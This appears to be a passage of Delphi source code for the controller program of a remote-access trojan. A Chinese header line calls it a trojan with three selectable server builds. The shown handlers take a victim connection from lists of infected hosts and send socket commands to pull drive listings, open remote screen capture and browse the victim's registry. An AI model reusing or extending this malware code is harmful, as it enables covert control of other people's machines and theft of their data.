unit5.pas

由于该木马有三个服务端可以选择生成

     form9.ListView6.Clear ;
     form9.ListView7.Clear ; 
     form9.StatusBar1.Panels[0].text:='';
     form9.listview2.Columns[0].caption:='';
     form9.listview3.Columns[1].caption:='';
     frmmain.edit3.Text:='1';
     form9.TabSheet1.Enabled :=false;
     form9.ShowModal;
    end;
  end;  
end;
procedure TForm5.N2Click(Sender: TObject);
var
 sock:integer;
 f:string;
begin
 case (pagecontrol1.ActivePageIndex) of
 0: begin
    if listview1.ItemIndex = -1 then exit;
    sock:=strtoint(listview1.ItemFocused.SubItems[3]);
    form2.edit1.Text:='';
    form2.ComboBox1.Clear;
    form2.ListView1.clear;
    form2.ListView2.Clear;
    form2.ListBox1.Clear;
    form2.ListBox2.clear;
    form2.ComboBox2.Clear;
    form2.ListView3.Clear;
    form2.listview3.Columns[0].caption:='';
    f:='16';
    send(sock,f[1],2,0);
    form2.statusbar2.Panels[0].text:=listview1.ItemFocused.SubItems[3];
    form2.PageControl1.Enabled :=true;
    form2.StatusBar1.Panels[0].text:='正在接收磁盘驱动器信息...';
    form2.StatusBar3.Panels[0].text:='';
    frmmain.edit3.Text:='2';
    form2.showmodal;
    end;
 1: begin
    if listview2.ItemIndex = -1 then exit;
    sock:=strtoint(listview2.ItemFocused.SubItems[3]);
    form2.edit1.Text:='';
    form2.ComboBox1.Clear;
    form2.ListView1.clear;
    form2.ListView2.Clear;
    form2.ListBox1.Clear;
    form2.ListBox2.clear;
    form2.ComboBox2.Clear;
    form2.ListView3.Clear;
    form2.listview3.Columns[0].caption:='';
    f:='16';
    send(sock,f[1],2,0);
    form2.statusbar2.Panels[0].text:=listview2.ItemFocused.SubItems[3];
    form2.PageControl1.Enabled :=true;
    form2.StatusBar1.Panels[0].text:='正在接收磁盘驱动器信息...';
    form2.StatusBar3.Panels[0].text:='';
    frmmain.edit3.Text:='2';
    form2.showmodal;
    end;
 2: begin
    if listview3.ItemIndex = -1 then exit;
    sock:=strtoint(listview3.ItemFocused.SubItems[3]);
    form2.edit1.Text:='';
    form2.ComboBox1.Clear;
    form2.ListView1.clear;
    form2.ListView2.Clear;
    form2.ListBox1.Clear;
    form2.ListBox2.clear;
    form2.ComboBox2.Clear;
    form2.ListView3.Clear;
    form2.listview3.Columns[0].caption:='';
    f:='16';
    send(sock,f[1],2,0);
    form2.statusbar2.Panels[0].text:=listview3.ItemFocused.SubItems[3];
    form2.PageControl1.Enabled :=true;
    form2.StatusBar1.Panels[0].text:='正在接收磁盘驱动器信息...';
    form2.StatusBar3.Panels[0].text:='';
    frmmain.edit3.Text:='2';
    form2.showmodal;
    end;
 3: begin
    if listview4.ItemIndex = -1 then exit;
    sock:=strtoint(listview4.ItemFocused.SubItems[3]);
    form2.edit1.Text:='';
    form2.ComboBox1.Clear;
    form2.ListView1.clear;
    form2.ListView2.Clear;
    form2.ListBox1.Clear;
    form2.ListBox2.clear;
    form2.ComboBox2.Clear;
    form2.ListView3.Clear;
    form2.listview3.Columns[0].caption:='';
    f:='16';
    send(sock,f[1],2,0);
    form2.statusbar2.Panels[0].text:=listview4.ItemFocused.SubItems[3];
    form2.PageControl1.Enabled :=true;
    form2.StatusBar1.Panels[0].text:='正在接收磁盘驱动器信息...';
    form2.StatusBar3.Panels[0].text:='';
    frmmain.edit3.Text:='2';
    form2.showmodal;
    end;
 4: begin
    if listview5.ItemIndex = -1 then exit;
    sock:=strtoint(listview5.ItemFocused.SubItems[3]);
    form2.edit1.Text:='';
    form2.ComboBox1.Clear;
    form2.ListView1.clear;
    form2.ListView2.Clear;
    form2.ListBox1.Clear;
    form2.ListBox2.clear;
    form2.ComboBox2.Clear;
    form2.ListView3.Clear;
    form2.listview3.Columns[0].caption:='';
    f:='16';
    send(sock,f[1],2,0);
    form2.statusbar2.Panels[0].text:=listview5.ItemFocused.SubItems[3];
    form2.PageControl1.Enabled :=true;
    form2.StatusBar1.Panels[0].text:='正在接收磁盘驱动器信息...';
    form2.StatusBar3.Panels[0].text:='';
    frmmain.edit3.Text:='2';
    form2.showmodal;
    end;
 5: begin
    if listview6.ItemIndex = -1 then exit;
    sock:=strtoint(listview6.ItemFocused.SubItems[3]);
    form2.edit1.Text:='';
    form2.ComboBox1.Clear;
    form2.ListView1.clear;
    form2.ListView2.Clear;
    form2.ListBox1.Clear;
    form2.ListBox2.clear;
    form2.ComboBox2.Clear;
    form2.ListView3.Clear;
    form2.listview3.Columns[0].caption:='';
    f:='16';
    send(sock,f[1],2,0);
    form2.statusbar2.Panels[0].text:=listview6.ItemFocused.SubItems[3];
    form2.PageControl1.Enabled :=true;
    form2.StatusBar1.Panels[0].text:='正在接收磁盘驱动器信息...';
    form2.StatusBar3.Panels[0].text:='';
    frmmain.edit3.Text:='2';
    form2.showmodal;
    end;
 6: begin
    if listview7.ItemIndex = -1 then exit;
    sock:=strtoint(listview7.ItemFocused.SubItems[3]);
    form2.edit1.Text:='';
    form2.ComboBox1.Clear;
    form2.ListView1.clear;
    form2.ListView2.Clear;
    form2.ListBox1.Clear;
    form2.ListBox2.clear;
    form2.ComboBox2.Clear;
    form2.ListView3.Clear;
    form2.listview3.Columns[0].caption:='';
    f:='16';
    send(sock,f[1],2,0);
    form2.statusbar2.Panels[0].text:=listview7.ItemFocused.SubItems[3];
    form2.PageControl1.Enabled :=true;
    form2.StatusBar1.Panels[0].text:='正在接收磁盘驱动器信息...';
    form2.StatusBar3.Panels[0].text:='';
    frmmain.edit3.Text:='2';
    form2.showmodal;
    end;
 7: begin
    if listview8.ItemIndex = -1 then exit;
    sock:=strtoint(listview8.ItemFocused.SubItems[3]);
    form2.edit1.Text:='';
    form2.ComboBox1.Clear;
    form2.ListView1.clear;
    form2.ListView2.Clear;
    form2.ListBox1.Clear;
    form2.ListBox2.clear;
    form2.ComboBox2.Clear;
    form2.ListView3.Clear;
    form2.listview3.Columns[0].caption:='';
    f:='16';
    send(sock,f[1],2,0);
    form2.statusbar2.Panels[0].text:=listview8.ItemFocused.SubItems[3];
    form2.PageControl1.Enabled :=true;
    form2.StatusBar1.Panels[0].text:='正在接收磁盘驱动器信息...';
    form2.StatusBar3.Panels[0].text:='';
    frmmain.edit3.Text:='2';
    form2.showmodal;
    end;
  end;  
end;

procedure TForm5.N3Click(Sender: TObject);
begin
 case (pagecontrol1.ActivePageIndex) of
 0: begin
    if listview1.ItemIndex = -1 then exit;
    form11.StatusBar2.Panels[0].text :=listview1.ItemFocused.SubItems[3];
    form11.Image1.Picture :=nil;
    form11.StatusBar1.Panels[0].text:='';
    form11.N1.Enabled:=true;
    frmmain.edit3.Text:='4';
    form11.ShowModal;
    end;
 1: begin
    if listview2.ItemIndex = -1 then exit;
    form11.StatusBar2.Panels[0].text :=listview2.ItemFocused.SubItems[3];
    form11.Image1.Picture :=nil;
    form11.StatusBar1.Panels[0].text:='';
    form11.N1.Enabled:=true;
    frmmain.edit3.Text:='4';
    form11.ShowModal;
    end;
 2: begin
    if listview3.ItemIndex = -1 then exit;
    form11.StatusBar2.Panels[0].text :=listview3.ItemFocused.SubItems[3];
    form11.Image1.Picture :=nil;
    form11.StatusBar1.Panels[0].text:='';
    form11.N1.Enabled:=true;
    frmmain.edit3.Text:='4';
    form11.ShowModal;
    end;
 3: begin
    if listview4.ItemIndex = -1 then exit;
    form11.StatusBar2.Panels[0].text :=listview4.ItemFocused.SubItems[3];
    form11.Image1.Picture :=nil;
    form11.StatusBar1.Panels[0].text:='';
    form11.N1.Enabled:=true;
    frmmain.edit3.Text:='4';
    form11.ShowModal;
    end;
 4: begin
    if listview5.ItemIndex = -1 then exit;
    form11.StatusBar2.Panels[0].text :=listview5.ItemFocused.SubItems[3];
    form11.Image1.Picture :=nil;
    form11.StatusBar1.Panels[0].text:='';
    form11.N1.Enabled:=true;
    frmmain.edit3.Text:='4';
    form11.ShowModal;
    end;
 5: begin
    if listview6.ItemIndex = -1 then exit;
    form11.StatusBar2.Panels[0].text :=listview6.ItemFocused.SubItems[3];
    form11.Image1.Picture :=nil;
    form11.StatusBar1.Panels[0].text:='';
    form11.N1.Enabled:=true;
    frmmain.edit3.Text:='4';
    form11.ShowModal;
    end;
 6: begin
    if listview7.ItemIndex = -1 then exit;
    form11.StatusBar2.Panels[0].text :=listview7.ItemFocused.SubItems[3];
    form11.Image1.Picture :=nil;
    form11.StatusBar1.Panels[0].text:='';
    form11.N1.Enabled:=true;
    frmmain.edit3.Text:='4';
    form11.ShowModal;
    end;
 7: begin
    if listview8.ItemIndex = -1 then exit;
    form11.StatusBar2.Panels[0].text :=listview8.ItemFocused.SubItems[3];
    form11.Image1.Picture :=nil;
    form11.StatusBar1.Panels[0].text:='';
    form11.N1.Enabled:=true;
    frmmain.edit3.Text:='4';
    form11.ShowModal;
    end;
  end;
end;

procedure TForm5.N4Click(Sender: TObject);
begin
 case (pagecontrol1.ActivePageIndex) of
 0: begin
    If listview1.ItemIndex = -1 Then Exit;
    form7.tv.Items.Clear;
    form7.Listview1.Clear;
    form7.tv.Enabled:=true;
    form7.ListView1.Enabled :=true;
    form7.StatusBar2.Panels[0].text :=listview1.ItemFocused.SubItems[3];
    form7.StatusBar1.Panels[0].text:='';
    form7.Edit2.Text:='';
    form7.tv.Items.Add(nil,'HKEY_CLASSES_ROOT');
    form7.tv.Items.Add(nil,'HKEY_CURRENT_USER');
    form7.tv.Items.Add(nil,'HKEY_LOCAL_MACHINE');
    form7.tv.Items.Add(nil,'HKEY_USERS');
    form7.tv.Items.Add(nil,'HKEY_CURRENT_CONFIG');
    form7.PopupMenu1.AutoPopup :=false;
    form7.PopupMenu2.AutoPopup :=false;
    frmmain.edit3.Text:='3';
    form7.ShowModal;
    end;
 1: begin
    If listview2.ItemIndex = -1 Then Exit;
    form7.tv.Items.Clear;
    form7.Listview1.Clear;
    form7.tv.Enabled:=true;
    form7.ListView1.Enabled :=true;
    form7.StatusBar2.Panels[0].text :=listview2.ItemFocused.SubItems[3];
    form7.StatusBar1.Panels[0].text:='';
    form7.Edit2.Text:='';
    form7.tv.Items.Add(nil,'HKEY_CLASSES_ROOT');
    form7.tv.Items.Add(nil,'HKEY_CURRENT_USER');
    form7.tv.Items.Add(nil,'HKEY_LOCAL_MACHINE');
    form7.tv.Items.Add(nil,'HKEY_USERS');
    form7.tv.Items.Add(nil,'HKEY_CURRENT_CONFIG');
    form7.PopupMenu1.AutoPopup :=false;
    form7.PopupMenu2.AutoPopup :=false;
    frmmain.edit3.Text:='3';
    form7.ShowModal;
    end;
 2: begin
    If listview3.ItemIndex = -1 Then Exit;
    form7.tv.Items.Clear;
    form7.Listview1.Clear;
    form7.tv.Enabled:=true;
    form7.ListView1.Enabled :=true;
    form7.StatusBar2.Panels[0].text :=listview3.ItemFocused.SubItems[3];
    form7.StatusBar1.Panels[0].text:='';
    form7.Edit2.Text:='';
    form7.tv.Items.Add(nil,'HKEY_CLASSES_ROOT');
    form7.tv.Items.Add(nil,'HKEY_CURRENT_USER');
    form7.tv.Items.Add(nil,'HKEY_LOCAL_MACHINE');
    form7.tv.Items.Add(nil,'HKEY_USERS');
    form7.tv.Items.Add(nil,'HKEY_CURRENT_CONFIG');
    form7.PopupMenu1.AutoPopup :=false;
    form7.PopupMenu2.AutoPopup :=false;
    frmmain.edit3.Text:='3';
    form7.ShowModal;
    end;
 3: begin
    If listview4.ItemIndex = -1 Then Exit;
    form7.tv.Items.Clear;
    form7.Listview1.Clear;
    form7.tv.Enabled:=true;
    form7.ListView1.Enabled :=true;
    form7.StatusBar2.Panels[0].text :=listview4.ItemFocused.SubItems[3];
    form7.StatusBar1.Panels[0].text:='';
    form7.Edit2.Text:='';
    form7.tv.Items.Add(nil,'HKEY_CLASSES_ROOT');
    form7.tv.Items.Add(nil,'HKEY_CURRENT_USER');
    form7.tv.Items.Add(nil,'HKEY_LOCAL_MACHINE');
    form7.tv.Items.Add(nil,'HKEY_USERS');
    form7.tv.Items.Add(nil,'HKEY_CURRENT_CONFIG');
    form7.PopupMenu1.AutoPopup :=false;
    form7.PopupMenu2.AutoPopup :=false;
    frmmain.edit3.Text:='3';
    form7.ShowModal;
    end;
 4: begin
    If listview5.ItemIndex = -1 Then Exit;
    form7.tv.Items.Clear;
    form7.Listview1.Clear;
    form7.tv.Enabled:=true;
    form7.ListView1.Enabled :=true;
    form7.StatusBar2.Panels[0].text :=listview5.ItemFocused.SubItems[3];
    form7.StatusBar1.Panels[0].text:='';
    form7.Edit2.Text:='';
    form7.tv.Items.Add(nil,'HKEY_CLASSES_ROOT');
    form7.tv.Items.Add(nil,'HKEY_CURRENT_USER');
    form7.tv.Items.Add(nil,'HKEY_LOCAL_MACHINE');
    form7.tv.Items.Add(nil,'HKEY_USERS');
    form7.tv.Items.Add(nil,'HKEY_CURRENT_CONFIG');
    form7.PopupMenu1.AutoPopup :=false;
    form7.PopupMenu2.AutoPopup :=false;
    frmmain.edit3.Text:='3';
    form7.ShowModal;
    end;
 5: begin
    If listview6.ItemIndex = -1 Then Exit;
    form7.tv.Items.Clear;
    form7.Listview1.Clear;
    form7.tv.Enabled:=true;
    form7.ListView1.Enabled :=true;
    form7.StatusBar2.Panels[0].text :=listview6.ItemFocused.SubItems[3];
    form7.StatusBar1.Panels[0].text:='';
    form7.Edit2.Text:='';
    form7.tv.Items.Add(nil,'HKEY_CLASSES_ROOT');
    form7.tv.Items.Add(nil,'HKEY_CURRENT_USER');
    form7.tv.Items.Add(nil,'HKEY_LOCAL_MACHINE');
    form7.tv.Items.Add(nil,'HKEY_USERS');
    form7.tv.Items.Add(nil,'HKEY_CURRENT_CONFIG');
    form7.PopupMenu1.AutoPopup :=false;
    form7.PopupMenu2.AutoPopup :=false;
    frmmain.edit3.Text:='3';
    form7.ShowModal;
    end;
 6: begin
    If listview7.ItemIndex = -1 Then Exit;
    form7.tv.Items.Clear;
    form7.Listview1.Clear;
    form7.tv.Enabled:=true;
    form7.ListView1.Enabled :=true;
    form7.StatusBar2.Panels[0].text :=listview7.ItemFocused.SubItems[3];
    form7.StatusBar1.Panels[0].text:='';
    form7.Edit2.Text:='';
    form7.tv.Items.Add(nil,'HKEY_CLASSES_ROOT');
    form7.tv.Items.Add(nil,'HKEY_CURRENT_USER');
    form7.tv.Items.Add(nil,'HKEY_LOCAL_MACHINE');
    form7.tv.Items.Add(nil,'HKEY_USERS');
    form7.tv.Items.Add(nil,'HKEY_CURRENT_CONFIG');
    form7.PopupMenu1.AutoPopup :=false;
    form7.PopupMenu2.AutoPopup :=false;
    frmmain.edit3.Text:='3';
    form7.ShowModal;
    end;
 7: begin
    If listview8.ItemIndex = -1 Then Exit;
    form7.tv.Items.Clear;
    form7.Listview1.Clear;
    form7.tv.Enabled:=true;
    form7.ListView1.Enabled :=true;
    form7.StatusBar2.Panels[0].text :=listview8.ItemFocused.SubItems[3];
    form7.StatusBar1.Panels[0].text:='';
    form7.Edit2.Text:='';
    form7.tv.Items.Add(nil,'HKEY_CLASSES_ROOT');
    form7.tv.Items.Add(nil,'HKEY_CURRENT_USER');
    form7.tv.Items.Add(nil,'HKEY_LOCAL_MACHINE');
    form7.tv.Items.Add(nil,'HKEY_USERS');
    form7.tv.Items.Add(nil,'HKEY_CURRENT_CONFIG');
    form7.PopupMenu1.AutoPopup :=false;
    form7.PopupMenu2.AutoPopup :=false;
    frmmain.edit3.Text:='3';
    form7.ShowModal;
    end;
  end;
end;

end.